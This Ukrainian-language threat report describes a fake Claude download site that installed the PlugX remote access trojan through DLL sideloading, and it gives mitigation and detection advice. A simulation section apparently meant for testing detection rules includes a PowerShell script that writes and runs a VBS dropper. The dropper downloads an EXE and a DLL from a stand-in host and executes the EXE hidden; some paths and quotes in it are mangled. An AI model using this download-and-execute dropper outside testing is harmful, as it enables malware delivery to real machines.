Фейковий сайт Claude встановлює зловмисне ПЗ, яке надає атакуючим доступ до вашого комп’ютера

Резюме

Нападники створили підроблену сторінку завантаження Claude, яка доставила троянську ZIP-архів для нічого не підозрюючих користувачів. При відкритті архів установлював на перший погляд легітимний десктопний клієнт Claude, приховано розгортаючи PlugX remote access trojan через підвантаження DLL з підписаним G DATA updater. Шкідливий код був розміщений у папці автозавантаження користувача для підтримки персистентності, а потім ініціював вихідний HTTPS зв’язок з командним і керуючим сервером. Кампанія демонструє, як актори загроз все частіше використовують інтерес до популярних AI-інструментів як соціальну інженерну приманку для початкового компрометації.

Розслідування

Під час аналізу дослідники розпакували ZIP-архів, ідентифікували шлях установки MSI та простежили виконання до VBScript dropper, який записував NOVUpdate.exe, шкідливу avk.dll, та зашифрований файл даних у папку автозавантаження. Виконання в пісочниці підтвердило успішний запуск підвантаженого бінарніка, зміну TCP/IP-пов’язаного ключа реєстру та ініціацію вихідних з’єднань через порт 443 до IP-адреси, розміщеної на Alibaba Cloud. Ці знахідки підтвердили доставку PlugX через поетапний ланцюг зараження, замаскований під легітимне AI програмне забезпечення.

Пом’якшення

Користувачам слід завантажувати програмне забезпечення Claude лише з перевірених офіційних джерел і перевіряти автентичність інсталяційних пакетів перед виконанням. Захисники повинні перевіряти папки автозавантаження на предмет неочікуваних бінарників або DLL, особливо файлів, які імітують легітимні компоненти оновлення. Також слід переглянути телеметрію брандмауера та кінцевих точок для перевірки підозрілих вихідних HTTPS трафіків, пов’язаних з нововстановленими додатками. Видалення шкідливих файлів, реверсування будь-яких несанкціонованих змін у реєстрі та запуск надійної антивірусної перевірки є ключовими кроками для стримування загрози.

Відповідь

Команди безпеки повинні виявляти та повідомляти про присутність NOVUpdate.exe, avk.dll, або NOVUpdate.exe.dat в директорії автозавантаження. Додаткові детектори повинні зосереджуватися на підписаних G DATA updater бінарниках, які завантажують ненадійні DLL та встановлюють неочікувані вихідні TLS-сесії з ідентифікованою інфраструктурою. Уражені хости повинні пройти повну ліквідацію та судово-експертизу, щоб підтвердити, що жодні інші компоненти PlugX, механізми персистентності або наступні корисні навантаження не залишаються активними.

Виконання симуляції

Передумова: перевірка телеметрії та базової лінії повинна пройти успішно.

Обґрунтування: У цьому розділі описується точне виконання методики супротивника (TTP), розроблене для спрацьовування правила виявлення. Команди та оповідання МАЮТЬ безпосередньо відображати визначені TTP та націлені на генерацію точної телеметрії, очікуваної в логіці виявлення. Абстрактні або несумісні приклади призведуть до неправильного діагнозу.

• Оповідання про атаку та команди:
  Зловмисник створює шкідливий VBS скрипт, який завантажує корисне навантаження NOVUpdate.exe з командно-керуючого (C2) сервера, записує його в %TEMP%, а потім запускає його через wscript.exe. Той самий скрипт також завантажує avk.dll з того ж місця, щоб досягти підвантаження DLL. Зловмисник покладається на вбудований Windows Script Host (WSH), щоб уникнути підозри традиційних антивірусних евристик.

  1. Записати шкідливий VBS файл (malicious.vbs) в %TEMP%.
  2. Викликати wscript.exe з шляхом до VBS файла.
  3. VBS скрипт виконує HTTP GET для отримання NOVUpdate.exe and avk.dll, записує їх на диск і виконує NOVUpdate.exe.

• Скрипт регресійного тесту:

  # --------------------------------------------------------------------
  # Симуляція шкідливого dropper – тригери правил Sigma
  # --------------------------------------------------------------------
  $tempDir = "$env:TEMPDropperDemo"
  New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
  
  # 1. Створити шкідливий VBS, який завантажує два файли та запускає NOVUpdate.exe
  $vbsPath = "$tempDirmalicious.vbs"
  $vbsContent = @"
  Set objXML = CreateObject("Microsoft.XMLHTTP")
  objXML.open "GET", "http://example.com/NOVUpdate.exe", False
  objXML.send
  If objXML.Status = 200 Then
  Set objStream = CreateObject("ADODB.Stream")
  objStream.Type = 1
  objStream.Open
  objStream.Write objXML.ResponseBody
  objStream.SaveToFile "$tempDirNOVUpdate.exe", 2
  objStream.Close
  End If

‘ Завантажити avk.dll (використовується для підвантаження DLL) objXML.open “GET”, “http://example.com/avk.dll“, False objXML.send If objXML.Status = 200 Then Set objStream = CreateObject(“ADODB.Stream”) objStream.Type = 1 objStream.Open objStream.Write objXML.ResponseBody objStream.SaveToFile “$tempDiravk.dll”, 2 objStream.Close End If

‘ Виконати скинути EXE CreateObject(“WScript.Shell”).Run “””$tempDirNOVUpdate.exe”””, 0, False “@ Set-Content -Path $vbsPath -Value $vbsContent -Encoding ASCII

# 2. Запустити скрипт через wscript.exe (це та телеметрія, яку ми тестуємо)
$wscript = "$env:SystemRootSystem32wscript.exe"
Start-Process -FilePath $wscript -ArgumentList "`"$vbsPath`"" -WindowStyle Hidden

# OPTIONAL: зупинити для дозволу на виконання
Start-Sleep -Seconds 10
# --------------------------------------------------------------------

• Команди очищення:

  # Видалити всі артефакти, створені симуляцією
  $tempDir = "$env:TEMPDropperDemo"
  if (Test-Path $tempDir) {
      Remove-Item -Path $tempDir -Recurse -Force
  }
  
  # Забезпечити завершення всіх залишків процесів NOVUpdate.exe
  Get-Process -Name "NOVUpdate" -ErrorAction SilentlyContinue | Stop-Process -Force